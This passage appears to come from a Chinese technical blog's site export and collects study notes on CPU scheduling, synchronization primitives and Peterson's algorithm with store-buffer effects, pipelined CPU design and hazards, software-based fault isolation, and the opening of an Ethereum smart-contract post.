其他处理器充当虚拟处理单元 对称多处理(SMP)：每个处理器都是自调度的 调度数据结构是共享的，需要同步 被通用操作系统使用 SMP架构细节 对称多处理(SMP)是每个处理器都自调度的架构 所有线程可能在一个公共就绪队列中(a) 或者每个处理器可能有自己的私有线程队列(b) 多核调度 单芯片中的多个CPU核心 最近的趋势是在同一物理芯片上防止多个处理器核心，更快且功耗更低 芯片多线程(CMT) 多线程核心：芯片多线程 Intel使用超线程术语（或同时多线程-SMT）：在同一核心上同时运行两个（或更多）硬件线程：内存停顿 利用内存停顿在内存检索时在另一个线程上取得进展 每个核心有\u0026gt;1个硬件线程。如果一个线程有内存停顿，切换到另一个线程！ CMT的两级调度 两级调度： 操作系统决定在逻辑CPU上运行哪个软件线程 每个核心如何决定在物理核心上运行哪个硬件线程。两个硬件线程不能并行运行，因为我们只有一个CPU核心 如果操作系统知道CPU资源的底层共享情况，可以做出更好的决策 负载均衡 如果是SMP，需要保持所有CPU的负载以提高效率 负载均衡试图保持工作负载均匀分布 推送迁移 - 周期性任务检查每个处理器的负载，如果发现则将任务从过载的CPU推送到其他CPU 拉取迁移 - 空闲处理器从繁忙处理器拉取等待任务 处理器亲和性 当线程在一个处理器上运行时，该处理器的缓存内容存储该线程的内存访问 我们称这为线程对处理器有亲和性（即\u0026quot;处理器亲和性\u0026quot;） 负载均衡可能影响处理器亲和性，因为线程可能从一个处理器移动到另一个处理器以平衡负载，但该线程失去了在其移出的处理器缓存中的内容 软亲和性 - 操作系统试图保持线程在同一处理器上运行，但不保证 硬亲和性 - 允许进程指定一组它可以运行的处理器 NUMA和CPU调度 如果操作系统是NUMA感知的，它将分配靠进展线程运行CPU的内存 实时CPU调度 可能出现明显的挑战 软实时系统-关键实时任务有最高优先级，但不保证任务何时被调度 硬实时系统-任务必须在其截止时间前得到服务 Linux 2.6.23+ 完全公平调度器(CFS)详解\rLinux调度器版本2.6.23+ 完全公平调度器(CFS) 调度类 每个调度类都有特定的优先级 调度器选择最高优先级调度类中的最高优先级任务 不是基于固定时间分配的量子，而是基于CPU时间比例(nice值) 较少的nice值将获得更高比例的CPU时间 包含2个调度类，其他可以添加 默认调度类 实时调度类 CFS量子计算细节 量子基于nice值计算，从-20到+19 较低的值是更高的优先级 计算目标延迟 - 任务应该至少运行一次的时间间隔 如果活跃任务数量增加，目标延迟可以增加 CFS调度器在变量vruntime中维护每个任务的虚拟运行时间 与基于任务优先级的衰减因子相关联 - 较低优先级有较高的衰减率 正常默认优先级产生虚拟运行时间 = 实际运行时间 要决定下一个运行的任务，调度器选择虚拟运行时间最低的任务 Linux调度系统补充详解\rLinux实时调度 根据POSIX.1b标准的实时调度 实时任务具有静态优先级 实时任务加上普通任务映射到全局优先级方案 Nice值-20映射到全局优先级100 Nice值+19映射到优先级139 Linux负载均衡与NUMA Linux支持负载均衡，但也是NUMA感知的 调度域是一组可以相互平衡的CPU核心集合 域按它们共享的内容（即缓存内存）组织。目标是防止线程在域之间迁移 Windows调度系统详解\rWindows调度基础\rWindows使用基于优先级的抢占式调度 最高优先级的线程下一个运行 调度器就是分发器(Dispatcher) 线程运行直到 (1)阻塞，(2)用完时间片，(3)被更高优先级线程抢占 实时线程可以抢占非实时线程 32级优先级方案：可变类是1-15，实时类是16-31 优先级0是内存管理线程 每个优先级一个队列 如果没有可运行线程，运行空闲线程 Windows优先级类\r不同的优先级类 ","date":"2025-08-01T21:50:00+08:00","permalink":"https://example.com/p/%E7%BA%BF%E7%A8%8B/","title":"线程"},{"content":"同步工具\r同步工具概述\r定义\r同步工具是操作系统提供的机制，用于协调并发进程/线程对共享资源的访问，确保数据一致性和程序正确性 核心目标\r互斥：确保临界区间同时只有一个进程访问 同步：控制进程间的执行顺序 痛惜：进程间安全地交换信息 作用\r保证数据一致性 避免线程并发运行导致的数据错误。 可以想象成银行。假设A和B同时登录一个有1000元存款的银行账户，A取出500元，B取出400元。但由于并发执行，B查看账户时的余额仍然是1000元，并且取钱后会将600元写入余额，导致错误。 所以需要通过并发锁等方式，在A访问账户时阻塞B对账户的访问 控制访问顺序 确保每个环节在正确的时机开始 可以想象成厨房。假设没有控制访问，会出现在菜还没做完时，服务员就上菜的现象。需要控制在炒菜完成后，才开始上菜线程。 协调资源分配 确保正确分配资源 可以想象成停车场，如果没有调度，会发生有车试图停在已经被占用的车位，而空车位没有车去停泊 主要同步工具类型\r互斥锁(Mutex)\r基本概念 1 2 3 4 // 基本操作 mutex_lock(\u0026amp;mutex); // 获取锁（原子操作） // 临界区代码 mutex_unlock(\u0026amp;mutex); // 释放锁（原子操作） 工作机制 加锁：如果锁可用则获取，否则阻塞等待 解锁：释放锁并唤醒等待的进程 原子性：加锁和解锁操作不可被中断 使用场景：上面提及的银行账户问题 高级特性： 递归锁：同一线程可多次获取 优先级继承：防止优先级反转 超时机制：避免无限期等待 信号量(Semaphore)\r一种用于进程/线程同步的抽象数据结构 核心思想：由一个整数来表示可用资源的数量，通过原子操作来控制对这些资源的访问 就像一个“资源计数器” 记录还有多少资源可以使用 当有人要用资源时，计数器+1 当有人释放资源时，计数器-1 当计数器为0时，后来的人必须等待 基本概念 1 2 3 sem_wait(\u0026amp;semaphore); // P操作：信号量-1，如果\u0026lt;0则阻塞 // 临界区或资源使用 sem_post(\u0026amp;semaphore); // V操作：信号量+1，唤醒等待进程 类型分类 计数信号量（用于泊车问题） 二进制信号量（类似互斥锁） 经典问题：生产者-消费者问题 条件变量(Condition Variable)\r基本概念：条件变量用于在某个条件满足之前让线程等待，通常与互斥锁配合使用。 读写锁(Read-Writer Lock)\r基本概念：允许多个读者同时访问，但写者需要独占访问。 使用场景 数据库系统 缓存系统 文件系统 读多写少的场景 屏障(Barrier)\r基本概念：让多个线程在某个点等待，直到所有线程都到达该点才继续执行。、 自旋锁(Spin Lock)\r基本概念：不会让线程睡眠，而是持续检查锁状态 使用场景： 临界区很短 多处理器系统 内核级同步 注：生产者-消费者问题\r问题定义：生产者-消费者问题描述了两类线程之间的协作关系 生产者：生成数据并放入缓冲区 消费者：从缓冲区取出数据并处理 缓冲区：存储数据的共享区域，容量有限 核心约束条件 缓冲区满时：生产者必须等待，不能再生产 缓冲区空时：消费者必须等待，不能再消费 互斥访问：生产者和消费者不能同时访问缓冲区 同步关系：生产者生产的数据要能被消费者及时消费 竞态条件\r定义\r当多个进程（或进程）并发地访问和操作同一数据，且执行结果依赖于访问发生地特定顺序时，这种情况被成为竞态条件。 核心特征\r多个执行流：至少有两个线程/进程 共享数据：共享数据 并发访问：并发访问 结果不确定：最终结果取决于执行顺序 经典案例\r银行账户问题 临界区\r定义\r考虑一个由n个进程组成的系统{p0, p1, \u0026hellip; pn-1}，每个进程都有一个临界区代码段，例如改变公共变量、更新表格、写文件等。同时只能有一个进程位于临界区中。当一个进程在临界区中时，其他进程都不能进入它们的临界区。每个进程必须在进去区请求进入临界区的许可。许可应该在退出区被释放。 即临界区为程序中访问共享资源的代码段。在多进程或多线程环境中，这段代码同一时刻只能被一个执行单元执行，以避免数据竞争和不一致 组成\r完整的进程结构 1 2 3 4 5 6 7 8 9 10 do { request_permission(); //进入区，请求进入临界区的许可 access_shared_resource(); //临界区，访问和修改共享资源的核心代码 release_permission(); //退出区，释放临界区，允许其他进程进入 do_other_work(); //剩余区，执行不涉及共享资源的其他操作 } 基本要求\r互斥性：同时只能由一个进程在临界区内 进展性：如果临界区空闲且有进程想要进入，那应该能进入 有界等待：进程等待时间应该是有限的 解决方案\r互斥锁 信号量 自旋锁 时机应用场景\r操作系统 数据库管理系统 Web服务器 经典的软件同步算法————Peterson算法\r核心设计思想————谦让机制\r每个进程都表达自己想要进入临界区的意愿 同时主动谦让把优先权交给对方 实现代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // 进程Pi (i = 0 或 1) // j是另一个进程的编号 (j = 1-i) do { // === 进入区 === flag[i] = true; // 第1步：举手表示\u0026#34;我想进入临界区\u0026#34; turn = j; // 第2步：谦让，\u0026#34;你先请\u0026#34; // 第3步：等待检查 while (flag[j] == true \u0026amp;\u0026amp; turn == j) { // 如果对方也想进入(flag[j]==true) // 且确实轮到对方(turn==j) // 那么我就等待 // 这里是忙等待 } // === 临界区 === critical_section(); // === 退出区 === flag[i] = false; // 第4步：表示\u0026#34;我不再需要临界区了\u0026#34; // === 剩余区 === remainder_section(); } while (true); 处理两个进程时的代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 // ====== 进程P0 ====== do { flag[0] = true; // P0想要进入 turn = 1; // P0谦让，优先权给P1 while (flag[1] == true \u0026amp;\u0026amp; turn == 1) { // 等待：如果P1也想进入且轮到P1 } // P0的临界区 printf(\u0026#34;P0 in critical section\\n\u0026#34;); // 访问共享资源... flag[0] = false; // P0完成，退出 // P0的其他工作 }while (true); // ====== 进程P1 ====== do { flag[1] = true; // P1想要进入 turn = 0; // P1谦让，优先权给P0 while (flag[0] == true \u0026amp;\u0026amp; turn == 0) { // 等待：如果P0也想进入且轮到P0 } // P1的临界区 printf(\u0026#34;P1 in critical section\\n\u0026#34;); // 访问共享资源... flag[1] = false; // P1完成，退出 // P1的其他工作 } while (true); 顺序一致性\r基本概念\r定义\r一个多处理器是顺序一致的，当且仅当任何一次的执行的结果都和某个顺序执行的结果相同，切每个处理器的操作在这个顺序中都按照程序指定的顺序出现 两个核心要求\r程序顺序：每个处理器内的操作必须按程序指定的顺序执行 全局顺序：所有处理器必须对所有内存操作有统一的观察顺序 直观理解\r可以类比为图书馆的借书系统 想象一个图书馆的借书系统，顺序一致性即所有人能看到相同的结束记录顺序 张三借《操作系统》 李四借《数据结构》 王五还《算法导论》 无论在哪个分馆查询，大家看到的记录顺序完全一致 存储缓冲区(Store Buffer)\r基本概念\r定义：存储缓冲区是位于CPU和缓存之间的硬件组件，用于临时存储CPU发出的写操作，以提高系统性能 CPU -\u0026gt; Store Buffer -\u0026gt; Chache -\u0026gt; Memory 目的： 避免CPU再写操作时等待 提高流水线指令地效率 允许写操作地批量处理和优化 为什么需要Store Buffer\r无Store Buffer时： CPU执行：x = 1; 步骤： CPU发送写请求到缓存 如果缓存缺失，需要等待从内存加载 更新缓存 CPU才能继续执行下一条指令 延迟可能高达几百个CPU周期 有Store Buffer时： CPU执行：x = 1; 步骤： CPU将写操作放入Store Buffer CPU立即继续执行下一条指令 Store Buffer在后台异步完成实际写入 可以类比为邮箱，如果没有邮箱，那么用户每一封信都要等待邮递员到来，才能写信交给邮递员；有邮箱后之后写完放入邮箱就能写下一封 存储缓冲区的详细结构\r硬件组织\r1 2 3 4 5 6 7 8 9 CPU Core | [Store Buffer] ←── 队列结构，FIFO | | | | Entry Entry Entry Entry | | | | Cache | Memory 每个Entry包含： 地址 (Address) 数据 (Data) 大小 (Size) 有效位 (Valid) 其他控制信息 典型的Store Buffer参数\r现代CPU的Store Buffer特征： 容量：16-64个条目 宽度：支持不同大小的写操作（1,2,4,8字节） 合并：相邻写操作可能被合并 顺序：通常按FIFO顺序排出到缓存 工作机制：FIFO队列\r存在的问题\r违反程序顺序\r1 2 3 4 5 6 7 8 9 //程序意图：先设置数据，再设置标志 data = 42; //写操作1：进入Store Buffer flag = true; //写操作2：也进入Store Buffer //其他CPU可能观察到的顺序： //flag=true先生效（如果flag在缓存中） //data=42后生效（如果data需要从呢村加载到缓存） //这违反了程序顺序 Peterson算法失败\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 // 时间线分析：两个CPU同时执行Peterson算法 时间0: 初始状态 flag[0] = false, flag[1] = false, turn = 任意值 时间1: CPU0和CPU1几乎同时开始执行 CPU0: flag[0] = true → 进入CPU0的Store Buffer CPU1: flag[1] = true → 进入CPU1的Store Buffer 时间2: 继续执行 CPU0: turn = 1 → 进入CPU0的Store Buffer CPU1: turn = 0 → 进入CPU1的Store Buffer 时间3: 开始检查条件 CPU0: 读取flag[1] → 从内存读到false（CPU1的写入还在Store Buffer中！） CPU1: 读取flag[0] → 从内存读到false（CPU0的写入还在Store Buffer中！） 时间4: 条件检查结果 CPU0: flag[1]==false \u0026amp;\u0026amp; turn==1 → false，所以不等待 CPU1: flag[0]==false \u0026amp;\u0026amp; turn==0 → false，所以不等待 时间5: 灾难发生 CPU0: 进入临界区 CPU1: 进入临界区 两个进程同时进入临界区！Peterson算法失败！ 内存屏障与Store BUffer\r定义\r内存屏障是一种同步原语，用于控制内存操作的顺序，确保特定的内存操作按照预期的顺序执行 可以类比成红灯，只有当所有应该到达的车到达了才转绿灯 写屏障\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // 写屏障的作用：确保屏障前的写操作完成 void store_barrier() { // 等待Store Buffer排空 while (!store_buffer_empty()) { drain_store_buffer(); } // 确保所有写操作都到达缓存/内存 } // Peterson算法的修复： flag[0] = true; store_barrier(); // 确保flag[0]写入完成 turn = 1; store_barrier(); // 确保turn写入完成 while (flag[1] \u0026amp;\u0026amp; turn == 1); 不同类型的屏障\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // x86架构的内存屏障： // SFENCE：Store Fence，写屏障 void sfence() { asm volatile(\u0026#34;sfence\u0026#34; ::: \u0026#34;memory\u0026#34;); } // MFENCE：Memory Fence，全屏障 void mfence() { asm volatile(\u0026#34;mfence\u0026#34; ::: \u0026#34;memory\u0026#34;); } // 编译器屏障：防止编译器重排序 void compiler_barrier() { asm volatile(\u0026#34;\u0026#34; ::: \u0026#34;memory\u0026#34;); } Store-to-Load Forwarding(存储转发)机制详解\r作用演示\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 // 程序代码： x = 42; // 写操作：把42写入变量x int a = x; // 读操作：读取变量x的值 // 没有转发机制的问题： // 1. x = 42进入Store Buffer，还没写到内存 // 2. int a = x从内存读取，读到的是旧值（比如0） // 3. 明明刚写了42，却读到了0！ // 有转发机制的解决： // 1. x = 42进入Store Buffer // 2. int a = x时，CPU检查Store Buffer // 3. 发现Store Buffer中有x=42，直接返回42 // 4. 读到了正确的值！ 转发机制的实现\r1 2 3 4 5 6 7 8 9 10 11 12 int load_operation(address addr) { // 1. 首先检查Store Buffer for (int i = store_buffer.newest; i \u0026gt;= store_buffer.oldest; i--) { if (store_buffer[i].address == addr \u0026amp;\u0026amp; store_buffer[i].valid) { // 找到匹配的待写入数据，直接返回 return store_buffer[i].value; } } // 2. Store Buffer中没有，从缓存/内存读取 return cache_read(addr); } 即在Store Buffer中寻找所需数据，如果没有再从缓存/内存读取 Store Buffer的性能优化\r写合并\r在连续的地址上写入内容时会合并到同一个Entity中 Store Buffer的管理策略\r阻塞策略 强制排空策略 优先级策略 原子变量\r概念：\r通常，像比较交换（compare-and-swap）这样的指令被用作构建其他同步工具的基础构件 其中一个工具是原子变量，它为基本数据类型提供原子的（不可中断的）更新操作 例如，对原子变量sequence的increment()操作确保sequence在没有中断的情况下被递增 过度自旋(Too Much Spinning)\r概念\r自旋：当线程无法获得锁时，不进入睡眠状态，而是持续循环检查锁状态，直到获得锁为止 过度自旋：在不合适的场景下使用自旋锁，导致大量CPU时间被浪费在无意义的等待上 解决方法\r混合锁\r核心思想：“先试试，不行就休息” 设计方式： 短暂自旋，快速检查锁状态 如果自旋失败，进入睡眠等待 被唤醒时：重新尝试获取锁 指数退避\r核心思想：“越等越慢” 设计方式： 每次检查后检查间隔增加 自适应自旋\r核心思想：“学习型只能等待” 设计方式： 根据历史学习预测检查间隔时间 ","date":"2025-07-31T10:00:00+08:00","permalink":"https://example.com/p/%E5%90%8C%E6%AD%A5%E5%B7%A5%E5%85%B7/","title":"同步工具"},{"content":"流水线CPU\r流水线核心概念\r理念\r将指令执行划分为多个时间均衡的子阶段，使得多条不同指令再不同阶段并行处理 处理方式\r可以想象一下，假设在洗衣时，需要经过洗涤（30min）$\\rightarrow$ 烘干 （40min）$\\rightarrow$ 折叠（20min），现在有4人需要洗衣服务，如果全部依次处理（单周期CPU），那么耗时是6h，即处理每个人的服务需要90min（1.5h），依次执行，共计耗时6h。如果使用流水线处理，可以在执行上一个人的烘干任务时执行下一个人的洗涤任务。 可以看到通过通过流水线处理将总耗时缩减到了3.5h 与洗衣类似，指令执行也可以分为三个阶段IF(Instucction Fetch), ID(Instruction Decode), Ex(Execution) 在串行处理中，与上面的洗衣类似，下一条指令在上一个指令的三个阶段全部结束后才开始 此时的运行时间为$6Δt$ (这里为了方便演示，假设各个阶段的处理时间相同) 可以发现与洗衣类似，后一条指令并不需要等待前一条执行完毕，而是只需要对应的模块”空出来“就可以执行 此时的运行时间为$5Δt$ 可以发现运行时间可以被进一步缩短，即增加重叠部分 此时的运行时间为$4Δt$ 以上两种重叠方式分别被称为 单重叠(Single overlapping) 和 双重叠(Twice overlapping) 重叠方式比较\r单重叠\r优点 相较串行运行时间缩短近$\\frac{1}{3}$（对大量指令） 功能单元利用率显著提升 缺点 需要额外硬件支持 控制过程复杂化 双重叠\r优点 相较串行运行时间缩短近$\\frac{2}{3}$（对大量指令） 功能单元利用率进一步显著提升 缺点 需要大量额外硬件支持 需要物理分离的fetch, decode和execution单元 注： 双重叠面临的问题和需要的硬件支持\r核心问题：内存访问冲突\r在双重叠中如果多条指令同时访问内存，会引发冲突 冲突场景： 实践场景：双重叠还原为单重叠\r上面的讲解都是基于三个阶段耗时相等的假设的，但是在实际CPU场景中，三个阶段的运行时间并不相等，一般IF阶段耗时最少，如果IF阶段耗时很短可以忽略，那么双重叠在优化上就约等与单重叠了 阶段不等长——重叠中的资源浪费和冲突问题\r在考虑到应用场景中各阶段不等长后，可以进一步考虑潜在的问题 如果ID \u0026lt; EX 可以看到此时一条指令的EX阶段在时间上与下一条指令的EX阶段发生了重叠，这被称之为资源冲突 如果ID \u0026gt; EX 可以看到此时的时间轴上存在未执行指令的部分，这被称为资源浪费 注：为什么是这种执行方式？ 所有流水线阶段在同一时钟边沿同步推进，即IF始终是在每个时钟周期开始时触发的。ID \u0026gt; EX的情况下的实际过程是IF(K+1)在执行完毕后等待到ID(K)执行完毕，开启下一个时钟周期才开始执行ID(K+1)和IF(K+2)。这个现象被称为阻塞(Block) 流水线概念\r核心解释\r指令分解：将单条指令的执行划分成m个子阶段，要求m\u0026gt;5。经典设计为五级流水线。m被称为流水线深度 时间均等：要求每个子阶段耗时严格相等($Δt_{stage}$)，由全局时钟周期$T_c$统一控制。若阶段耗时不等，以最慢阶段为基准设定($T_c$) 错位重叠：m条相邻指令在同一时间并行处理不同阶段 重叠方式参考上面的双重叠，实现全阶段并行 特征\r结构特征\r阶段划分：每阶段由专属功能单元实现（如IF/ID/EX） 时间均衡：最长阶段决定整体速度 这是流水线高效运行的关键，如果某个阶段时间比其他阶段长，这个阶段就会成为瓶颈(Bottleneck)，如上面所演示的那样导致阻塞 流水线寄存器：缓存阶段见数据，隔离各阶段操作 传递数据：在时钟边沿将前一个阶段在本时钟周期内处理完成的结果捕获并储存起来 数据保持：在下一个时钟周期这个数据会被提供给下一个阶段作为输入，确保数据在正确的时间被后续阶段使用 阶段隔离：当前一个阶段在下一个时钟周期开始处理新任务时，后一个阶段使用的是寄存器中保存的、前一个阶段上一个周期的结果。没有这些寄存器，前一阶段的新输出会立即冲掉后一阶段还在处理的输入，导致数据混乱和错误。 它确保了每个阶段在一个时钟周期内可以独立地处理分配给它的那份工作（数据）。 适用场景：大量重复的顺序工作\r大量：从上面的示例可以发现，在不考虑“开头”和“结尾”的情况下，当m=3时，运行时间应当是串行时间的$\\frac{1}{3}$.但实际可以看到，存在开头和结尾的额外开销，这被称为流水线启动和排空，在稍后会涉及。同时不难发现，当处理条数更多时，运行时间更接近$\\frac{1}{3}$，即-处理大量的指令时节省的时间可以稀释启动和排空开销 重复：任务的执行流程（分解成的阶段）是相似的。上面的演示中的阶段都是完全相同的，就是一种理想状态 顺序：任务见最好是顺序执行的，或相关性较低。如果任务间有较强的依赖性就容易导致阻塞 持续输入：保持流水线处于忙碌状态，避免空闲导致效率下降 时间参数：启动时间与排空时间\r启动时间/首次延迟：从第一个任务进入流水线到离开的总时间 排空时间/排空延迟：从最后一个任务进入到所有流水线任务结束的总时间 流水线分类\r按功能划分\r单功能流水线 多功能流水线 按照并行性划分（针对多功能流水线）\r静态流水线：多功能，但不支持混合任务。即同一时间段内智能固定配置为一种任务。切换任务需要排空当前流水线 动态流水线：支持混合任务 注：可以用咖啡机来做比喻。单功能流水线就是一台只能做美式咖啡的咖啡机。静态流水线可以做多种咖啡，但是每次切换口味需要清空管道。动态流水线可以同时制作多种咖啡。 按照运行顺序划分\r顺序流水线：任务的流出和流入顺序相同，上面的演示都是顺序流水线 乱序流水线：任务的流出和流入顺序可以不同，允许先完成后面的任务 按硬件划分\r部件级流水线/操作流水线：将处理器的算术逻辑运算部件（ALU）分段，使得各种类型的运算可以通过流水线方式执行。这是CPU内部针对单个复杂功能单元的流水化。例如，一个浮点乘法器可以被分成多个阶段（阶码处理、尾数处理、规格化等），从而让多个浮点乘法操作在内部重叠执行，提高该部件的吞吐率。 处理器级流水线/指令流水线：指令的解释和执行通过流水线实现。一条指令的执行过程被分成若干个子过程，每个子过程在一个独立的功能单元中执行。上面的演示都是指令流水线。RISC五级流水线就是一种指令流水线设计。 处理器间流水线/宏流水线：两个或更多处理器的连接，用于处理同一个数据流，每个处理器完成整个任务的一部分。常用于高性能计算或流处理系统 按照线性性划分\r线性流水线：各阶段串行连接，没有反馈回路。数据每个阶段中在每个段最多流过一次 非线性流水线：存在反馈回路，允许数据流回前面的阶段再次处理 基于RISC-V的流水线CPU\rRISC-V的流水线友好设计\r所有指令都是32位 精简和规整的指令格式 Load/Store架构 内存操作数强制对齐 流水线吞吐量\r公式定义 $$TP = \\frac{n}{T}$$ n: 处理的指令总数（任务数量） T: 完成任务的总时间 物理意义：单位时间内完成的指令数 性能上限约束 $$TP \u003c TP_{max}$$ 含义：实际吞吐量永远低于理论极限值 实际运行时间 $$ T = (m+n-1) \\times Δt_0 \\newline\rTP = \\frac{n}{T} = \\frac{n}{(m+n-1) \\times Δt_0}\\newline\rTP_{max} = \\frac{1}{Δt_0}\r$$ 可以发现当$n \u0026raquo; m$时，有$TP \\approx TP_{max}$ 可以写成 $$ TP = \\frac{n}{n+m-1}TP_{max}$$ 应用场景下的流水线吞吐量\r如之前的演示所反映的，流水线在实际可能会遇到瓶颈问题。容易想到，这一问题可以通过将时钟周期设置为最慢阶段耗时来解决，但这并不能提高效率。为了实际提高效率有其他解法 解决方案 细分(Subdivision)：将最长的阶段拆分为多个子阶段，每段耗时$Δt$ 资源复制(Repetition)：每$Δt$可开始一个新任务。这一解决方案实质上是在S2的内部执行并行加速。 更多性能衡量指标——Sp与η\rSp(speed up) $$Sp = \\frac{n \\times m \\times Δt_0}{(m+n-1)Δt_0} = \\frac{n \\times m}{m + n -1}$$ Sp衡量的是流水线相较串行加快运行速度的程度，当$n\u0026raquo;m$，即输入数据很多时，有$Sp \\approx m$，逼近上确界 η(Efficiency) $$η = \\frac{Sp}{m} = \\frac{n}{m+n-1}$$ η的含义是实际加速比比理论最大加速比，当$n\u0026raquo;m$，即输入数据很多时，有$η \\approx 1$，逼近上确界 流水线冒险\r在前面的演示中，已经看到了流水线中存在运行冲突的现象。事实上实践中可能发生的冲突情况较多，它们被统称为hazard（冒险）\n冒险类型\r数据冒险\r以上的演示都未展示具体的指令内容和访问的对象，并且默认了各条指令间是独立的。但在实践场景中，指令间可能是关联的，这将引发数据冒险。如下： 1 2 add x1, x2, x3 sub x4, x1, x5 可以看到第二条指令用到了第一条指令应在wb阶段写入的数据，流程图如下 可以看到在第一个指令完成WB之前就执行了第二个指令的ID，这会导致第二条指令无法去到正确的x1值。这种错误被称为读后写(RAW - Read After Write) 此外还有一种较为少见的冒险写后读(WAR - Write After Read)。如果我们按照上面的演示思路来思考，会发现似乎是不会出现写后读问题的，这是因为写后读事实上一般出现在乱序执行的处理器中。 1 2 add r1, r2, r3 sub r2, r4, r5 在乱序执行的处理器中，可能有R2的WB在R1的ID前完成的情况，此时指令1读取r2值时读到的是被写入的新值而不是想要写的值。这种错误就是写后读 结构冒险\r除去因为数据处理顺序的原因产生的冒险，如上面提到的，实践中可能存在不同指令的不同阶段访问相同硬件资源的问题，这也会引发冒险，被称为结构冒险 如图，存在两条指令的IF和MEM阶段重叠，同时访问内存，产生冒险 此外，同时访问只有一个写入端口的寄存器也会相似地产生结构冒险 控制/分支冒险\r在上面的例子中，相邻指令都是物理相邻的，即下一条指令的地址即为上一条指令+4，可以在读上一条指令时即确定下一条指令地址。但是如果上一条指令是跳转指令，那么要等到上一条指令执行完，才能解析出下一条指令的地址，这种情况下就可能发生控制/分支冒险 可以看到在还不知道跳转指令的跳转地址时，后续指令已经执行了IF，这里的地址是预测性的，如果预测错误，在后续会被冲掉，这就是控制/分支冒险 解决冒险\r数据冒险\r旁路 原理：当指令的结果在流水线中计算出来后不等待其写回寄存器，而是直接用专门的数据通路（旁路）将结果转发给需要的后续指令 缺点：不能解决所有RAW，特别是当数据来自load指令时，数据在mem阶段菜可用，如果后续指令在mem前就需要，仍然会产生停顿 暂停/气泡 原理：当旁路无法解决冒险时，流水线控制器会插入一个或多个“气泡”（即空操作），强制延迟后续指令知道数据可用 缺点：引入停顿，降低了流水线的CPI（每条指令的时钟周期），从未降低了性能 寄存器重命名 原理：主要用于解决WAR（写后读）和WAW（写后写）这两种“假”数据依赖（或称名称依赖，Name Dependencies）。处理器为逻辑寄存器分配不同的物理寄存器，这样，不同的指令即使操作同一个逻辑寄存器，也可以写入到不同的物理寄存器，从而消除冲突，允许指令乱序执行。 结构冒险\r复制资源 原理：为发生冲突的硬件增加额外的副本。这是最直接和有效的解决方案 示例 内存端口冲突：采用哈弗架构，提供独立的指令内存和数据内存，或者在cpu内部设置独立的指令缓存和数据缓存，从而允许同时访问 功能单元冲突：如果alu是瓶颈，可以增加多个alu，以便不同的指令可以并行使用 寄存器文件端口冲突：增加寄存器文件的读写端口数量，允许在同一周期内进行更多的读写操作 缺点：增加了硬件成本和复杂度 流水线暂停 原理：当发生结构冒险时，暂停其中一条指令，直到所需的资源可用 缺点：引入停顿，降低性能。通常仅作为复制资源的后备方式或在复制资源代价过高时使用 控制冒险\r分支预测 通过复杂的硬件逻辑来预测分支的走向和目标地址 分类： 静态预测：基于编译时的信息和简单的经验法则 动态预测：基于历史行为来预测 延迟分支 原理：在分支指令后紧接着一条或几条分支延迟槽指令 缺点：填充难度较大，在现代高性能处理器较少使用 分支消除/条件执行 原理：对一些简单的条件操作，可以通过硬件支持，将条件分支转换为无需跳转的条件执行指令。 缺点：并非所有复杂的条件分支都能通过这种方式消除 流水线数据通路\r","date":"2025-07-25T20:31:00+08:00","permalink":"https://example.com/p/%E6%B5%81%E6%B0%B4%E7%BA%BF%E4%B8%8E%E5%9C%A8%E5%A4%84%E7%90%86%E5%99%A8%E4%B8%AD%E7%9A%84%E5%BA%94%E7%94%A8/","title":"流水线与在处理器中的应用"},{"content":"Software-Based Fault Isolation\r隔离\r隔离方法\r基于硬件的虚拟化 操作系统进程 基于语言的隔离 SFI 性能对比 上下文切换开销 单指令开销 是否需要编译器支持 虚拟机 非常高 无 否 操作系统进程 高 无 否 基于语言的隔离 低 中或无（动态/静态检查） 是 SFI 低 低 可能（二进制重写工具） SFI\rSFI基本介绍\r核心机制 每个保护域（隔离模块）都被分配一个专属内存区域（沙盒） 隔离发生在同一进程的地址空间内 通过在关键指令前插入软件检查实现 SFI沙盒构造 分为三部分 数据区域(DR，Data region): [DB, DL] 保存堆、栈 代码区域(CR, Code region): [DB, DL] 保存代码 安全外部地址(SE, Safe externel) 托管需要更高权限的受信任服务 代码跳转到它们以访问资源 DR,CR和SE不相交 隔离的实现 代码段不可写 数据段不可执行 执法策略 检查每一个危险指令 危险指令: 读/写内存和控制转移指令 动态二进制翻译 在工作时拦截并重写危险指令，插入安全检查代码 内联引用监控 在编译时静态插入安全检查指令 具体执法方式 原始执法方式 在指令前插入检查 存在问题: 运行时开销高 仅完整性隔离 程序执行读远多于写，且在不考虑保密的情况下可以只检查写 数据区域专门化 数据区域地址具有相同的高位，被称作数据区域ID，检查地址是否配置了正确的数据区域ID即可 地址掩码 通过地址掩码将地址在执行前强制改写，使其指向数据段 单指令地址掩码: 缩减到一次指令实现改写地址 Data Guards\r引入伪指令\r数据保护包含地址检查和地址屏蔽 引入伪指令r' = dGuard(r) 该指令满足以下条件 如果r在DR中，r\u0026rsquo; = r 否则 对于地址检查，进入错误状态 对于地址掩码，r\u0026rsquo;获取到一个安全范围内的地址 Guard Zones\r","date":"2025-07-11T22:01:43+08:00","permalink":"https://example.com/p/sfi%E6%8A%80%E6%9C%AF/","title":"SFI技术"},{"content":"Smart Contract\r研究对象————Etheremu\rEtheremu基础知识\r账户\r外部账户(EOA) 外部账户是由人创建的，可以存储以太币，是由公钥和私钥控制的账户。每个外部账户拥有一对公私钥，这对密钥用于签署交易，它的地址由公钥决定。外部账户不能包含以太坊虚拟机（EVM）代码。 一个外部账户有以下特性： 拥有一定的Ether 可以发送交易，由私钥控制 没有相关联的代码 合约账户 合约账户是由外部账户创建的账户，包含合约代码。合约账户的地址是由合约创建时合约创建者的地址，以及该地址发出的交易共同计算得出的。 一个合约账户有以下特性 拥有一定的Ether 有关联代码，代码通过交易或其他合约发来的调用激活 当合约被执行时，只能操作合约账户的特定存储 在Etheremu中，这两种账户统称为“状态对象”，其中外部账户存储以太币余额状态，而合约账户除了余额还有智能合约及其变量的状态。通过交易的执行，这些状态对象发生变化，而 Merkle 树用于索引和验证状态对象的更新。一个以太坊的账户包含 4 个部分 nonce: 已执行交易总量 balance: 帐持币数量 storageRoot: 